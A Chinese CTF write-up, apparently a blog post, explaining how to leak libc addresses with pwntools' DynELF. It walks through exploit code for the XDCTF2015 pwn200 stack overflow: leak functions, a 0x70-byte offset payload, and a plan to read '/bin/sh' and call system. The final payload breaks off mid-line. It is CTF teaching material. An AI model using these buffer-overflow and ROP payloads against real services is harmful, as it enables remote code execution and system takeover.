[pwn]ROP:信息泄露获取libc版本和地址

通过信息泄露获取libc版本和地址

有一些pwn题目中我们可以找到很明显的溢出,但程序中并没有system函数,也没有给出libc版本。但我们可以通过反复的溢出打印一些内存的值来在内存中搜索system的地址,这里主要使用的工具是pwntools中的D以内ELF模块。

DynELF模块介绍

DynELF模块需要我们编写一个可以反复利用的打印一段内存中内容的函数,可以是函数中的while(1),或者是溢出较长可以劫持write函数后再返回main重新来过。形如:

def leak(address):
    payload1 = 'a'*n+p32(plt_write)+p32(main_addr)+p32(1)+p32(address)+p32(4)
    p.send(payload1)
    data = p.recv(4)
    return data

覆盖返回地址为write后控制write后返回main继续,后面是write的三个参数,fd值1,需要打印的地址和打印长度。

然后选定一个elf文件,使用DnyELF模块:

e=ELF("./pwn")       #设定一个elf文件
d=DynELF(leak,elf=e) #使用DnyELF
sys_add=d.lookup("system","libc")  #搜索system地址

大概使用方法就是这样,不过不可以用它来寻找"/bin/sh",具体用法请参考官方文档。使用两个例子来了解:

pwn200 writeup

题目地址:pwn200

查看安全策略:
在这里插入图片描述
基本没开什么安全策略,然后查看反汇编:
在这里插入图片描述
先输出一句话,执行之后是Welcome to XDCTF2015~!,然后调用有漏洞的函数:
在这里插入图片描述
buf长度只有0x6c,但却读了0x100的数据,很明显的溢出,除此之外这个程序之中并没有什么其他值得注意的地方了。

首先我们当务之急是获得system的地址,然后获得system的地址之后,由于DynELF不能搜索"/bin/sh"字符串,我们只能调用read自己读入,然后通过溢出执行system("/bin/sh")。

获取system,仿造上面DynELF的用法写了如下函数:

def leak(addr):
    p.recv()
    payload='a'*0x70+p32(write_addr)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
    p.sendline(payload)
    data=p.recv(4)
    return data

开始是一个recv()是因为这个程序执行刚开始就是一个输出,而我们每次执行之后都让它返回给main重新执行,然后又会有一个输出,为了保证每一次都能完整利用,recv()卸载了函数内部。

然后构造payload:pattern长度0x70(buf0x6c和覆盖栈底的前ebp所以0x6c+4),然后劫持eip位write,之后是write执行之后返回main重新溢出,后面的三个是write的参数。

之后发送payload接受四个字节输出地址字后返回。

需要注意的问题就是,为什么write返回给main而不是read溢出的那个函数,关于这个问题,好多这个类型的题目都会出现,有的题目直接返回给漏洞函数没有问题,但有的题目就会造成执行几次后有异常。怀疑是由于执行次数太多栈的位置变得很奇怪(其实我也说不太清楚,总之毕竟是非法执行,总会出问题),有时候还需要在最终利用之前返回到start的地址重置一次栈,反正根据实际情况多试验几次总会找到正确的方法。start重置栈:
在这里插入图片描述
获取了system之后就调用read读入binsh然后直接返回到system执行,但这里如果直接返回就需要将read函数的三个参数清理掉,所以我们又需要一个连续三个pop接一个ret的gadget,在main函数末尾就能找到:
在这里插入图片描述
拼接在一起:

payload='a'*0x70+p32(read_addr
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值